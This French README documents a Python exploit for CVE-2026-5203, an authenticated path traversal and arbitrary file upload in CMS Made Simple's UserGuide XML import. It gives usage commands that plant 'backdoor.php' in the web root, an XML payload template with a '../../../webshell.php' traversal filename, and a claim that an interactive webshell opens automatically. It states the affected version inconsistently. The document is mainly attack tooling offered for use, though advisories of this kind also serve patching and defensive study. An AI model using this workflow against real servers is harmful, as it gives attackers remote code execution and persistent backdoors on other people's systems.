
Exploit Python pour CVE-2026-5203 : traversée de chemin authentifiée et téléchargement arbitraire de fichiers dans CMS Made Simple ≤ 2.22, permettant une exécution de code à distance via le déploiement d'un shell web PHP.
La fonctionnalité d'import XML du module UserGuide dans CMS Made Simple ≤ 2.2.22 ne nettoie pas les noms de fichiers fournis par l'utilisateur, permettant à un administrateur authentifié de télécharger des fichiers arbitraires (par exemple des shells PHP) n'importe où sur le système de fichiers du serveur via des séquences de traversée de répertoire.
| Champ | Valeur |
|---|---|
| Type | Traversée de répertoire / Téléchargement de fichier arbitraire → RCE |
| Composant | Module UserGuide — Import XML |
| Fichier concerné | modules/UserGuide/lib/class.UserGuideImporterExporter.php |
| CVSS v3.1 | 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| Authentification requise | Oui (Administrateur) |
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir = (string) $xmlFile->isdir;
La fonction écrit le contenu décodé en Base64 directement dans le chemin contrôlé par l'attaquant.
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
Exemples :
# Chemin par défaut
python exploit.py http://target.com http://target.com/admin admin password123
# Chemin personnalisé
python exploit.py http://target.com http://target.com/admin admin password123 \
../../../../../../var/www/html/backdoor.php
Un shell interactif démarre automatiquement si le web shell est accessible après le téléchargement.
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>../../../webshell.php</filename>
<isdir>0</isdir>
<data>[CODE_PHP_ENCODÉ_EN_BASE64]</data>
</file>
</files>
</modulecontent>